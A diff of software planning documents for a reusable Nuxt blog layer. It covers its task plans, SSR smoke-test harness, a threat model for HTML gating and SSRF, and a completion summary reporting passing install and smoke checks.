+testing (plain .mjs with JSDoc types, because Node does not strip types under node_modules and the site app imports these from there): fixture-api.mjs exports startFixtureApi({ dir, port = 0 }) resolving { url, requests, close }: a node:http server answering the anonymous Journal API routes under /_journal/api/v1 from the JSON files in dir (posts.json array of full post objects, categories.json tree, tags.json, authors.json, rss.xml), applying page, per_page (clamped like Go), sort, category (matches post.categories[].slug), tag, include_empty, and the D-20 author routes from the Task 1 contract; show answers the post plus previous_post, next_post and related_posts (same category, latest 3) or 404 { error: "Post not found" }; every request's method, url and x-forwarded-for header is pushed onto requests. nuxt-server.mjs exports startNuxtServer({ outputDir, apiBase, port, env }) spawning node <outputDir>/server/index.mjs with NITRO_HOST=127.0.0.1, NITRO_PORT (a free port when 0), NUXT_JOURNAL_API_BASE=apiBase and the extra env, waiting up to 30 s for any HTTP answer on /, resolving { url, close }. smoke-ssr.mjs is a CLI taking --output, --fixtures, --expect and repeatable --env KEY=VALUE; it boots both servers, then for each non-comment line of the expect file (grammar: STATUS PATH, then optional contains=TEXT, notcontains=TEXT, type=PREFIX; values run to the end of the line) issues a GET without following redirects, with the header X-Forwarded-For: 203.0.113.7, and compares; after the lines it asserts that at least one fixture API request recorded an x-forwarded-for value containing 203.0.113.7 (Pitfall 5 forwarding), else it fails with reason "x-forwarded-for not forwarded"; it prints "smoke-ssr: ok (N checks)" and exits 0, or prints "smoke-ssr: FAIL <line>: <reason>" and exits 1. Fixtures (acme, neutral English): 13 published posts so a 9-per-page index has 2 pages, including hello-acme (title Hello Acme, content_html with a heading and a paragraph) and unsafe-sample whose content_html contains a script tag; categories news (content HTML present, post_count 12) and quiet (post_count 0); one tag; one author per the Task 1 contract. expect-acme.txt starts with: 200 /blog/hello-acme contains=Hello Acme; 404 /blog/missing-post; 200 /blog/unsafe-sample contains=journal-post-body--blocked notcontains=alert(.
+
+scripts/check-git-install.sh TAG: set -euo pipefail, die() to stderr, tool loop for git, pnpm, node; create a temp dir with mktemp -d and trap cleanup; write a consumer package.json (name acme-blog, private, type module, dependencies nuxt 4.4.8, vue 3.5.35, vue-journal-layer git+https://git.golem15.com/golem15/vue-journal-layer.git#TAG), the same pnpm-workspace.yaml allowBuilds, and a nuxt.config.ts with extends ['vue-journal-layer'], compatibilityDate 2025-07-15 and i18n { strategy prefix_except_default, defaultLocale en, locales [{ code en, language en-US }, { code pl, language pl-PL }] }; run pnpm install; compare the commit recorded for vue-journal-layer in pnpm-lock.yaml with git ls-remote of refs/tags/TAG (peeled ^{} when annotated) and die on mismatch; run pnpm exec nuxt build; run node node_modules/vue-journal-layer/testing/smoke-ssr.mjs --output .output --fixtures node_modules/vue-journal-layer/testing/fixtures/acme --expect node_modules/vue-journal-layer/testing/expect-acme.txt; print "check-git-install: ok TAG <sha>". .playground/nuxt.config.ts extends '..' with the same i18n block; .playground/app/app.vue renders NuxtLayout and NuxtPage.
+
+Commit (feat: scaffold Journal layer with configurable post route and git-install check), push main, create annotated tag v0.0.1, push the tag. Pushing the layer and its tags to git.golem15.com is part of this plan (D-04, D-19: the spike installs from the tag). If anything in the spike fails because of pnpm or Gitea mechanics (A1), stop and report the exact error rather than switching distribution (D-04 is locked); the fallback options in RESEARCH A1 need the user.</action>
+  <verify>
+    <automated>bash ../vue-journal-layer/scripts/check-git-install.sh v0.0.1</automated>
+    <fails_when>Non-zero exit; output contains "smoke-ssr: FAIL", "check-git-install:" followed by an error, or "ERR_PNPM"; the line "check-git-install: ok v0.0.1" is absent.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - git ls-remote https://git.golem15.com/golem15/vue-journal-layer.git lists refs/heads/main and refs/tags/v0.0.1.
+    - The scratch consumer's pnpm-lock.yaml pins vue-journal-layer to the commit of tag v0.0.1 (checked inside the script).
+    - GET /blog/hello-acme on the built scratch consumer answers 200 and contains "Hello Acme"; GET /blog/missing-post answers 404; GET /blog/unsafe-sample answers 200, contains journal-post-body--blocked and does not contain alert(.
+    - ../vue-journal-layer/package.json has no lifecycle script named prepare and lists nuxt only under devDependencies and peerDependencies.
+    - ../vue-journal-layer has no app/pages directory (layer pages live in app/journal-pages, RESEARCH anti-pattern).
+    - `grep -rnE "from '(~|@)/" ../vue-journal-layer/app ../vue-journal-layer/lib` prints nothing.
+    - smoke-ssr's forwarding assertion passes: the fixture API recorded x-forwarded-for containing 203.0.113.7 on SSR requests.
+  </acceptance_criteria>
+  <done>A site that only extends the layer from a git tag renders a Journal post as full SSR HTML, blocks unsafe HTML, and 404s unknown posts.</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: Post list, category pages, pagination, related posts, tokens and pl/en strings</name>
+  <files>../vue-journal-layer/lib/journal-module.ts, ../vue-journal-layer/nuxt.config.ts, ../vue-journal-layer/app/utils/client.ts, ../vue-journal-layer/app/utils/pagination.ts, ../vue-journal-layer/app/composables/useJournalLinks.ts, ../vue-journal-layer/app/journal-pages/PostIndexPage.vue, ../vue-journal-layer/app/journal-pages/PostPage.vue, ../vue-journal-layer/app/journal-pages/CategoryPage.vue, ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/app/components/Journal/PostCard.vue, ../vue-journal-layer/app/components/Journal/PostList.vue, ../vue-journal-layer/app/components/Journal/PostMeta.vue, ../vue-journal-layer/app/components/Journal/FeaturedImage.vue, ../vue-journal-layer/app/components/Journal/Pagination.vue, ../vue-journal-layer/app/components/Journal/RelatedPosts.vue, ../vue-journal-layer/app/components/Journal/IndexHeader.vue, ../vue-journal-layer/app/components/Journal/CategoryHeader.vue, ../vue-journal-layer/app/assets/css/journal-tokens.css, ../vue-journal-layer/app/assets/css/journal-base.css, ../vue-journal-layer/i18n/locales/pl.json, ../vue-journal-layer/i18n/locales/en.json, ../vue-journal-layer/testing/expect-acme.txt</files>
+  <read_first>../vue-journal-layer/lib/journal-module.ts, ../vue-journal-layer/app/utils/client.ts, ../vue-journal-layer/app/utils/types.ts, ../vue-journal-layer/testing/expect-acme.txt, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Pattern 3, Pattern 4, URL Inventory routing rules, Pitfall 8, A5, A8, A9), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md (CSS tokens, pages and components, i18n locale files), ../sm-summercmsio-app/vue-summercmsio-app/app/assets/css/tokens.css, ../sm-summercmsio-app/vue-summercmsio-app/i18n/locales/en.json, ../sm-journal-plugin/controllers/api/posts_helpers.go (relatedPosts, serializeCategoryNode)</read_first>
+  <action>pagination.ts: parsePageParam(raw) returns 1 for an absent value, the integer for a string of digits greater than 0, and null for anything else (non-numeric, 0, negative, decimal, array); pageOutOfRange(page, lastPage) is true when page > 1 and page > lastPage (page 1 with zero posts is in range and renders the empty state); paginationWindow(current, last, size = 5) returns the page numbers to render. A null page or an out-of-range page throws createError({ statusCode: 404, fatal: true }) in the pages (RESEARCH A5: live answers a soft 200; the successor answers a real 404 — recorded as an assumption, covered by the smoke).
+
+client.ts bodies: listPosts({ page, perPage, sort, category, tag }) builds the query through buildPostListQuery (per_page clamped, sort passed verbatim as "<column> <dir>"), returning JournalPage<JournalPost>; listCategories() always sends include_empty=1 (D-24, Pitfall 8) and returns the tree; findCategory(slug) flattens the tree with flattenCategories and returns the row or null; listTags().
+
+useJournalLinks(): returns postLink(slug), categoryLink(slug), tagLink(slug), authorLink(slug), indexLink(page) built with useLocalePath() over the route names in JOURNAL_ROUTE_NAMES and params (never string-concatenated paths; RESEARCH A9: names gain a locale suffix, so useLocalePath is mandatory); a link to a disabled route (false) returns null and the component renders plain text.
+
+PostIndexPage.vue (journal-index): page from parsePageParam(route.query.page); listPosts with perPage.index and sort from runtimeConfig.public.journal; 404 when null or out of range; renders <JournalIndexHeader :page>, <JournalPostList :posts>, <JournalPagination :current :last>. Page links use ?page=N query form (D-15; never a path segment). CategoryPage.vue (journal-category): findCategory(route.params.category); null throws 404 (an unknown root path must not soft-200, RESEARCH Pattern 3); then listPosts({ category: slug, perPage: perPage.category, page }); renders <JournalCategoryHeader :category> which shows name, description and the D-21 rich content (key from the Task 1 contract) through gateJournalHtml above the list (D-21); an empty category renders 200 with its header and the empty-state string (D-24). PostPage.vue: add <JournalPostMeta> (published date formatted with Intl.DateTimeFormat for the active i18n locale, reading_time, category links, author link when the post has an author and the author route is enabled), <JournalFeaturedImage> (featured_image_url, alt from the post title, loading lazy, width and height attributes from CSS tokens), previous and next links, and <JournalRelatedPosts> showing related_posts, or when related_posts is empty, the latest relatedCount posts excluding the current slug (RESEARCH: related_posts is empty for a post without a category). PostBody.vue uses the i18n key journal.post.contentUnavailable for the blocked notice.
+
+Components (app/components/Journal/*, auto-registered with the Journal prefix so an app overrides any of them by creating the same file): PostCard (title link, excerpt, date, featured image), PostList (cards, empty state), Pagination (previous/next and window, rel prev/next), IndexHeader (h1 from journal.index.title plus journal.pagination.pageTitle when page > 1), CategoryHeader, RelatedPosts, PostMeta, FeaturedImage. Styles use only var(--journal-*) tokens; no hard-coded colours (D-03).
+
+journal-tokens.css: one :root block, grouped, a trailing comment per variable naming its use (summercms.io tokens.css style): --journal-color-text, -muted, -bg, -surface, -border, -link, -link-hover, -accent; --journal-font-body, -heading, -mono; --journal-space-1..6; --journal-radius-sm, -md, -lg; --journal-content-width. Neutral greys and one blue accent so the layer looks clean alone. journal-base.css: layout, typography for .journal-post-body (headings, lists, tables, blockquote, images max-width 100%), cards, pagination. Add both files to the layer nuxt.config css array as absolute paths built from currentDir (Pitfall 9).
+
+i18n (D-16): i18n/locales/pl.json and en.json with identical key trees under journal (index.title, index.empty, pagination.previous, pagination.next, pagination.pageTitle with {page}, post.publishedOn with {date}, post.readingTime with {minutes}, post.related, post.previous, post.next, post.contentUnavailable, category.empty, tag.title with {name}, author.title with {name}, author.posts, readMore, rss.title). In journal-module setup register nuxt.hook('i18n:registerModule', register => register({ langDir: absolute i18n/locales dir, locales })) where locales is the subset of pl and en whose code appears in the project's nuxt.options.i18n.locales (strings or objects), each with file <code>.json; register nothing when the project enables neither. @nuxtjs/i18n 10.4.0 calls this hook in modules:done and merges every registered locale into the app (module.mjs applyLayerOptions), so declaring locales in the layer config would add /en routes to a pl-only app — the layer must never declare them.
+
+Append to expect-acme.txt: 200 /blog contains=Hello Acme; 200 /blog?page=2; 404 /blog?page=3; 404 /blog?page=abc; 404 /blog?page=0; 200 /blog/category/news contains=<the news content marker text from categories.json>; 200 /blog/category/quiet contains=<the en journal.category.empty string>; 404 /blog/category/nope; 200 /pl/blog contains=<the pl journal.index.title string>. Verify against the local playground build (no tag needed for this task).
+
+Commit (feat: Journal list, category pages, pagination, tokens and pl/en strings) and push main.</action>
+  <verify>
+    <automated>pnpm -C ../vue-journal-layer run build:playground &amp;&amp; node ../vue-journal-layer/testing/smoke-ssr.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --expect ../vue-journal-layer/testing/expect-acme.txt</automated>
+    <fails_when>Non-zero exit; the nuxt build prints "ERROR" or exits non-zero; output contains "smoke-ssr: FAIL"; the line starting "smoke-ssr: ok" is absent.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - /blog answers 200, /blog?page=2 answers 200, /blog?page=3, /blog?page=abc and /blog?page=0 answer 404 on the playground build.
+    - /blog/category/news answers 200 and contains the D-21 content marker; /blog/category/quiet answers 200 with the empty-state string; /blog/category/nope answers 404.
+    - The fixture API log shows every categories request carried include_empty=1.
+    - /pl/blog renders the pl journal.index.title string (the hook registered the pl messages for a project that enables pl).
+    - pl.json and en.json have the same set of leaf keys under journal.
+    - `grep -rnE '#[0-9a-fA-F]{3,6}\b' ../vue-journal-layer/app/components` prints nothing (components use tokens only).
+  </acceptance_criteria>
+  <done>Index, category and post pages paginate, 404 correctly, render category content and related posts, and speak pl or en through tokens-only styling.</done>
+</task>
+
+<task type="auto">
+  <name>Task 4: Author and tag pages, SEO meta, sitemap source, /rss.xml, neutral README and release tag v0.1.0</name>
+  <files>../vue-journal-layer/package.json, ../vue-journal-layer/nuxt.config.ts, ../vue-journal-layer/lib/journal-module.ts, ../vue-journal-layer/app/utils/client.ts, ../vue-journal-layer/app/utils/sitemap.ts, ../vue-journal-layer/app/utils/seo.ts, ../vue-journal-layer/app/journal-pages/TagPage.vue, ../vue-journal-layer/app/journal-pages/AuthorPage.vue, ../vue-journal-layer/app/journal-pages/PostPage.vue, ../vue-journal-layer/app/journal-pages/PostIndexPage.vue, ../vue-journal-layer/app/journal-pages/CategoryPage.vue, ../vue-journal-layer/app/components/Journal/AuthorCard.vue, ../vue-journal-layer/app/components/Journal/RssLink.vue, ../vue-journal-layer/server/routes/rss.xml.ts, ../vue-journal-layer/server/api/__sitemap__/journal.ts, ../vue-journal-layer/testing/expect-acme.txt, ../vue-journal-layer/README.md</files>
+  <read_first>../vue-journal-layer/lib/journal-module.ts, ../vue-journal-layer/app/utils/client.ts, ../vue-journal-layer/app/utils/routes.ts, ../vue-journal-layer/app/journal-pages/PostPage.vue, ../vue-journal-layer/testing/expect-acme.txt, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Pattern 5, Don't Hand-Roll, URL Inventory non-page URLs, A6, A7, Security Domain), ../sm-summercmsio-app/vue-summercmsio-app/README.md, ../sm-journal-plugin/README.md (neutral wording precedent), ../sm-journal-plugin/controllers/api/rss.go, the Task 1 "Prerequisite contract" in this plan's SUMMARY</read_first>
+  <action>client.ts: getAuthor(slug) and listAuthorPosts(slug, { page, perPage }) against the D-20 routes recorded in the Task 1 contract (404 returns null). AuthorPage.vue (journal-author): getAuthor(route.params.author); null throws 404; renders <JournalAuthorCard :author> (name, and every public profile field the endpoint returns; an HTML bio goes through gateJournalHtml) and the paginated author posts with perPage.author; same page validation as the index. TagPage.vue (journal-tag): resolves the tag from listTags() by slug (404 when absent), lists posts with tag=slug and perPage.tag. Both pages are registered by the module only when their route is not false (D-06).
+
+seo.ts: postSeoMeta(post, siteUrl) returns { title: post.title, description: excerpt (or the first 160 characters of the content_html text), ogType article, ogImage: absolute featured_image_url when present, articlePublishedTime: published_at, articleModifiedTime: updated_at }; listTitle(base, page, pageTitle) appends the page title string when page > 1. Every journal page calls useSeoMeta with these; the site name suffix comes from nuxt-seo-utils' title template and the app's site.name (RESEARCH A6). In the layer nuxt.config set seo.canonicalQueryWhitelist to ['page'] explicitly so paginated canonicals keep ?page=N (RESEARCH A7; nuxt-seo-utils already defaults to a list containing page, set it anyway to lock the behaviour), and sitemap { sources: ['/api/__sitemap__/journal'], autoI18n: false }.
+
+sitemap.ts: buildJournalSitemapEntries(posts, categories, routes) returns { loc, lastmod? } entries: each published post at fillJournalPath(routes.post, { slug }) with lastmod updated_at, each category of the flattened include_empty=1 tree at fillJournalPath(routes.category, { category: slug }), nothing for a disabled route; never hard-code /blog/. server/api/__sitemap__/journal.ts: defineSitemapEventHandler that reads runtimeConfig.journal.apiBase and runtimeConfig.public.journal.routes, pages GET posts with per_page=30 until meta.last_page, fetches categories with include_empty=1, and returns buildJournalSitemapEntries(...) (D-13, D-24, Pitfall 5: per_page 30 keeps the request count low).
+
+server/routes/rss.xml.ts: GET handler that fetches <runtimeConfig.journal.apiBase>/rss as text with the incoming x-forwarded-for forwarded, answers with Content-Type application/rss+xml; charset=utf-8 and the upstream body, and answers 502 with a plain-text body when the upstream fails; when runtimeConfig.public.journal.rss is false answer 404. RssLink.vue adds a link rel alternate type application/rss+xml href /rss.xml to the head (useHead) and a visible link with journal.rss.title; PostIndexPage and PostPage include it when rss is true. Robots: no per-page noindex on journal pages (every PHP page has robots_noindex = 0); error responses rely on @nuxtjs/robots' default handling, and staging turns indexing off through NUXT_SITE_INDEXABLE (16-03/16-04).
+
+README.md (neutral: the words used are blog and acme; never name a consuming site or company app): H1 vue-journal-layer, one-sentence summary, install line (pnpm add git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0), then Overview, Features, Usage (extends: ['vue-journal-layer'], an acme example of journal.routes moving category pages to /:category and disabling tags), Configuration (every journal.* key with default, runtime config keys and their NUXT_ env names, the x-forwarded-for forwarding note), Theming (every --journal-* token, how an app overrides tokens on :root:root and overrides a component by creating app/components/Journal/<Name>.vue), i18n (strings are registered only for locales the app enables), SEO and sitemap, Local development (pnpm link or a link:../vue-journal-layer override, never committed), Releasing (a release is an annotated git tag; consumers bump the #tag and pnpm-lock.yaml), Testing (check-git-install.sh, smoke-ssr.mjs, fixture API).
+
+Append to expect-acme.txt: 200 /blog/author/<fixture author slug> contains=<fixture author name>; 404 /blog/author/nobody; 200 /blog/tag/<fixture tag slug>; 404 /blog/tag/nope; 200 /rss.xml type=application/rss+xml; 200 /sitemap.xml contains=/blog/hello-acme; 200 /sitemap.xml contains=/blog/category/quiet; 200 /blog?page=2 contains=?page=2 (canonical link keeps the query); 200 /blog/hello-acme contains=og:title.
+
+Set package.json version 0.1.0, commit (feat: Journal author and tag pages, SEO, sitemap source and RSS route), push main, create and push annotated tag v0.1.0.</action>
+  <verify>
+    <automated>pnpm -C ../vue-journal-layer run build:playground &amp;&amp; node ../vue-journal-layer/testing/smoke-ssr.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --expect ../vue-journal-layer/testing/expect-acme.txt &amp;&amp; bash ../vue-journal-layer/scripts/check-git-install.sh v0.1.0</automated>
+    <fails_when>Non-zero exit; output contains "smoke-ssr: FAIL" or "ERR_PNPM"; the line "check-git-install: ok v0.1.0" is absent.</fails_when>
+    <automated>! grep -rniE 'grzyb|fonoteka|plytarium' --exclude-dir=node_modules --exclude-dir=.nuxt --exclude-dir=.output --exclude=pnpm-lock.yaml ../vue-journal-layer</automated>
+    <fails_when>Exit status 1 with any matching line printed: the layer names a consuming application.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - The scratch consumer installed from tag v0.1.0 passes every line of expect-acme.txt, including author 200/404, tag 200/404, /rss.xml with type application/rss+xml, /sitemap.xml listing /blog/hello-acme and /blog/category/quiet, and the canonical of /blog?page=2 keeping ?page=2.
+    - git ls-remote of the layer lists refs/tags/v0.1.0 and package.json version is 0.1.0.
+    - README.md contains the sections Overview, Features, Usage, Configuration, Theming, i18n, Releasing and Testing, and every journal.* key the module accepts.
+    - No file in the layer repo (excluding node_modules, .nuxt, .output, pnpm-lock.yaml) matches the consuming-application name scan.
+    - The layer source contains no call to a Journal write route: `grep -rnE "method: *'(POST|PUT|DELETE)'" ../vue-journal-layer/app ../vue-journal-layer/server` prints nothing.
+  </acceptance_criteria>
+  <done>The layer ships every Journal view, SEO, sitemap and RSS as tag v0.1.0, installable from git by any blog.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Journal API JSON → v-html | Post bodies, category content and author bios are HTML that editors or imports wrote; they cross into the DOM |
+| Browser request → SSR fetch | Visitor route params and headers shape the server-side API request |
+| Nuxt server → Go API | All SSR traffic leaves from 127.0.0.1, which Go trusts as a proxy |
+| npm/git installs | The layer pulls three Nuxt modules and is itself pulled from git |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16-01 | Tampering | JournalPostBody, JournalCategoryHeader, JournalAuthorCard (v-html) | high | mitigate | gateJournalHtml applies the three verbatim Go FormatHTML regexes before any v-html; unsafe values render journal.post.contentUnavailable; acme fixture unsafe-sample proves it in the smoke (Task 2, Task 3) |
+| T-16-02 | Tampering (SSRF) | useJournalApi, server/routes/rss.xml.ts, sitemap source | high | mitigate | apiBase comes only from runtimeConfig (server key journal.apiBase); route params are encoded per segment with encodeURIComponent; no request value selects the host |
+| T-16-03 | Denial of Service | SSR fetches against journal-public-api (120/min) | medium | mitigate | useJournalApi and the RSS route forward x-forwarded-for so Go buckets per visitor; sitemap source pages per_page=30; site app adds swr caching (16-02) |
+| T-16-04 | Tampering | ?page, :slug, :category, :author route input | medium | mitigate | parsePageParam accepts digits only and 404s the rest; unknown slugs 404 through the API; no input is interpolated into HTML |
+| T-16-05 | Information Disclosure | Journal API drafts | low | accept | The layer calls only anonymous GET routes; Go already 404s drafts (Phase 15 JOURNAL-005) |
+| T-16-SC | Tampering | npm/pnpm installs and the git dependency | high | mitigate | Only packages already locked in vue-summercmsio-app (nuxt 4.4.8, vue 3.5.35, @nuxtjs/i18n 10.4.0, @nuxtjs/seo 5.2.1, @nuxt/fonts 0.14.0, typescript 5.9.3) at exact versions; RESEARCH Package Legitimacy Audit approved them; sanitize-html is not installed; the layer has no install-time scripts; consumers pin the layer by tag and lockfile commit |
+</threat_model>
+
+<verification>
+- Task 1 gate prints gate-ok.
+- `bash ../vue-journal-layer/scripts/check-git-install.sh v0.1.0` prints "check-git-install: ok v0.1.0".
+- The playground smoke passes every line of testing/expect-acme.txt.
+- The consuming-application name scan over the layer prints nothing.
+</verification>
+
+<success_criteria>
+- vue-journal-layer v0.1.0 is on git.golem15.com and installs into a fresh consumer from the tag (D-04).
+- Post list, post, category, tag and author views, RSS link, SEO meta and sitemap work from journal.routes (D-05, D-06, D-13).
+- Categories always use include_empty=1; unknown slugs and out-of-range pages answer 404 (D-24).
+- pl/en strings register only for enabled locales (D-16); tokens drive every visual value (D-03).
+</success_criteria>
+
+<output>
+Create `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md` when done, including the "Prerequisite contract" section from Task 1.
+</output>

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md

@@ -0,0 +1,326 @@
+---
+phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
+plan: 01
+subsystem: frontend (Nuxt layer)
+tags: [nuxt, nuxt-layer, vue, i18n, nuxtjs-seo, sitemap, rss, pnpm-git-dependency, journal]
+status: complete
+
+requires:
+  - phase: 15-journal-plugin
+    provides: "anonymous Journal API /_journal/api/v1 (posts, posts/{slug}, categories, tags, rss)"
+  - phase: quick-261009-i6e
+    provides: "D-20 anonymous author endpoints /authors/{author} and /authors/{author}/posts"
+  - phase: quick-261009-mgk
+    provides: "D-21 category content field on GET /categories rows"
+provides:
+  - "vue-journal-layer repo on git.golem15.com, tags v0.0.1 (spike) and v0.1.0 (release for 16-02)"
+  - "Nuxt module configKey journal: journal.routes, perPage, sort, relatedCount, rss; route names journal-index/post/category/tag/author"
+  - "typed anonymous-GET Journal client (createJournalClient) with include_empty=1 on categories"
+  - "gateJournalHtml: TS port of the Go FormatHTML three-pattern gate for every v-html sink"
+  - "--journal-* CSS tokens, overridable Journal* components, pl/en strings registered per enabled locale"
+  - "@nuxtjs/seo meta, canonicals keeping ?page=N, /api/__sitemap__/journal source, /rss.xml proxy"
+  - "testing/fixture-api.mjs, testing/nuxt-server.mjs, testing/smoke-ssr.mjs, scripts/check-git-install.sh"
+affects: [16-02, 16-03, 16-04, 16-05]
+
+actuals:
+  tokens: 27751    # chars/4 over the 54 tracked layer files, pnpm-lock.yaml excluded
+  tasks: 4
+  commits: 3       # git rev-list --count HEAD in vue-journal-layer (the repo started empty)
+commits: 3
+plan_head_before: null   # vue-journal-layer was an empty repository; no base commit exists
+plan_head_after: 783426c5d84c5d7c088f1e74b01c5240811c88d2
+
+tech-stack:
+  added: ["vue-journal-layer (new repo): nuxt 4.4.8, vue 3.5.35, @nuxtjs/i18n 10.4.0, @nuxtjs/seo 5.2.1, @nuxt/fonts 0.14.0, typescript 5.9.3 (all already locked in vue-summercmsio-app)"]
+  patterns:
+    - "Layer pages live in app/journal-pages and are registered by extendPages from journal.routes; links go through useLocalePath over stable route names"
+    - "SSR fetches use the server-only apiBase and forward x-forwarded-for plus the peer address"
+    - "useAsyncData transforms gate and slim API rows (toPostView, toListPost) so unsafe HTML, raw content and translations never reach the payload"
+    - "Layer strings registered through the i18n:registerModule hook only for locales the app enables; the layer config declares no locales"
+    - "Built-server SSR smoke against a node:http fixture API with a line-based expectations file"
+
+key-files:
+  created:
+    - ../vue-journal-layer/lib/journal-module.ts
+    - ../vue-journal-layer/nuxt.config.ts
+    - ../vue-journal-layer/app/utils/client.ts
+    - ../vue-journal-layer/app/utils/htmlGate.ts
+    - ../vue-journal-layer/app/utils/routes.ts
+    - ../vue-journal-layer/app/utils/view.ts
+    - ../vue-journal-layer/app/utils/seo.ts
+    - ../vue-journal-layer/app/utils/sitemap.ts
+    - ../vue-journal-layer/app/composables/useJournalApi.ts
+    - ../vue-journal-layer/app/journal-pages/PostPage.vue
+    - ../vue-journal-layer/server/api/__sitemap__/journal.ts
+    - ../vue-journal-layer/server/routes/rss.xml.ts
+    - ../vue-journal-layer/testing/smoke-ssr.mjs
+    - ../vue-journal-layer/testing/fixture-api.mjs
+    - ../vue-journal-layer/scripts/check-git-install.sh
+    - ../vue-journal-layer/README.md
+  modified: []
+
+key-decisions:
+  - "vue-journal-layer pages gate and slim API data in useAsyncData transforms (toPostView/toListPost), so the SSR payload never carries an unsafe body, raw content or translations"
+  - "SSR, sitemap and RSS fetches forward x-forwarded-for with the Nuxt peer address appended, so the Go limiter's rightmost-untrusted-hop rule picks the real visitor"
+  - "vue-journal-layer tsconfig.json is self-contained (no extends of a generated .nuxt/tsconfig.json), because Vite reads it from a consumer's node_modules where no .nuxt exists"
+  - "The layer author page links posts by author.login (the only author key on post rows) and sets the canonical to the endpoint's slug URL"
+  - "The vue-grzybyfunkcjonalne-app site repo is private by the user's choice and is checked over SSH; only vue-journal-layer must be public (D-04)"
+
+patterns-established:
+  - "Nuxt layer distribution: annotated git tag on git.golem15.com, consumer pins git+https://...#tag, lockfile pins the tag commit, no prepare script"
+  - "scripts/check-git-install.sh <tag> as the release gate for the layer"
+
+requirements-completed: [SC-2, SC-3]
+
+coverage:
+  - id: D1
+    description: "A scratch app installs vue-journal-layer anonymously from git tag v0.1.0 (and v0.0.1), pnpm-lock.yaml pins the tag commit, nuxt build succeeds and the SSR smoke passes (D-04)"
+    requirement: SC-2
+    verification:
+      - kind: integration
+        ref: "bash ../vue-journal-layer/scripts/check-git-install.sh v0.1.0 -> check-git-install: ok v0.1.0 783426c5d84c5d7c088f1e74b01c5240811c88d2"
+        status: pass
+      - kind: integration
+        ref: "bash ../vue-journal-layer/scripts/check-git-install.sh v0.0.1 -> check-git-install: ok v0.0.1 6f6792f51c3b437490a38ef3fb5e906447726139"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "Post list with ?page=N pagination and 404s, post page (gated body, meta, featured image, siblings, related with latest fallback), category (include_empty=1, D-21 content, empty state, unknown 404), tag and author pages, all from journal.routes (D-05, D-06, D-21, D-24)"
+    requirement: SC-3
+    verification:
+      - kind: integration
+        ref: "node ../vue-journal-layer/testing/smoke-ssr.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --expect ../vue-journal-layer/testing/expect-acme.txt -> smoke-ssr: ok (28 checks)"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "SEO meta, canonicals that keep ?page=N, sitemap.xml from the Journal API built from journal.routes, /rss.xml as application/rss+xml (D-13)"
+    requirement: SC-3
+    verification:
+      - kind: integration
+        ref: "testing/expect-acme.txt lines for /rss.xml, /sitemap.xml, canonical and og:title, run by smoke-ssr.mjs (28 checks ok)"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "pl/en strings register only for enabled locales: a pl-only app serves pl strings at /blog and 404s /en/blog and /pl/blog (D-16)"
+    requirement: SC-2
+    verification:
+      - kind: integration
+        ref: "temporary pl-only playground build + smoke-ssr.mjs with 4 expectations -> smoke-ssr: ok (4 checks); playground config restored"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "The neutral token-driven base design looks clean on its own (D-03)"
+    verification: []
+    human_judgment: true
+    rationale: "Visual quality of the neutral design is a judgment call; the smoke only proves the markup and that components carry no hard-coded colours"
+
+duration: 1h 34m
+completed: 2026-10-09
+---
+
+# Phase 16 Plan 01: vue-journal-layer Summary
+
+**A reusable Nuxt 4 layer, `vue-journal-layer` v0.1.0 on git.golem15.com, renders every Journal view from the anonymous Journal API. It covers post list, post, category with rich content, tag, author, RSS, SEO and sitemap. Paths come from `journal.routes`, styling from `--journal-*` tokens, and pl/en strings are registered per enabled locale. A scratch app installs the layer from the git tag and passes a 28-check SSR smoke.**
+
+## Performance
+
+- **Duration:** 1h 34m
+- **Started:** 2026-10-09T14:33:15Z
+- **Completed:** 2026-10-09T16:07:44Z
+- **Tasks:** 4 (Task 1 was the resolved prerequisite gate)
+- **Files modified:** 55 tracked files in `../vue-journal-layer` (new repo)
+
+## Accomplishments
+
+- **D-04 distribution proven end to end.** `check-git-install.sh` installs the layer anonymously from `git+https://git.golem15.com/golem15/vue-journal-layer.git#<tag>`. It then checks that `pnpm-lock.yaml` pins the tag's peeled commit, runs `nuxt build`, and runs the SSR smoke from `node_modules`. This passed for v0.0.1 (the spike) and for v0.1.0 (the release 16-02 consumes).
+- **Configurable routes (D-06).** A local module (`lib/journal-module.ts`, configKey `journal`) registers `journal-index`, `journal-post`, `journal-category`, `journal-tag` and `journal-author` at the paths in `journal.routes`. Setting a route to `false` disables it, and a path missing its param fails the build with an error naming `journal.routes.<key>`.
+- **Every Journal view (D-05, D-21, D-24):**
+  - The index paginates with `?page=N`. `abc`, `0` and out-of-range pages answer 404.
+  - Category pages render the D-21 `content` through the HTML gate above the list. An empty category answers 200, and an unknown one answers 404.
+  - Post pages show meta, the featured image, previous and next links, and related posts, falling back to the latest posts.
+  - Tag and author pages are included. An author resolves by slug or login, and a login URL's canonical points at the slug URL.
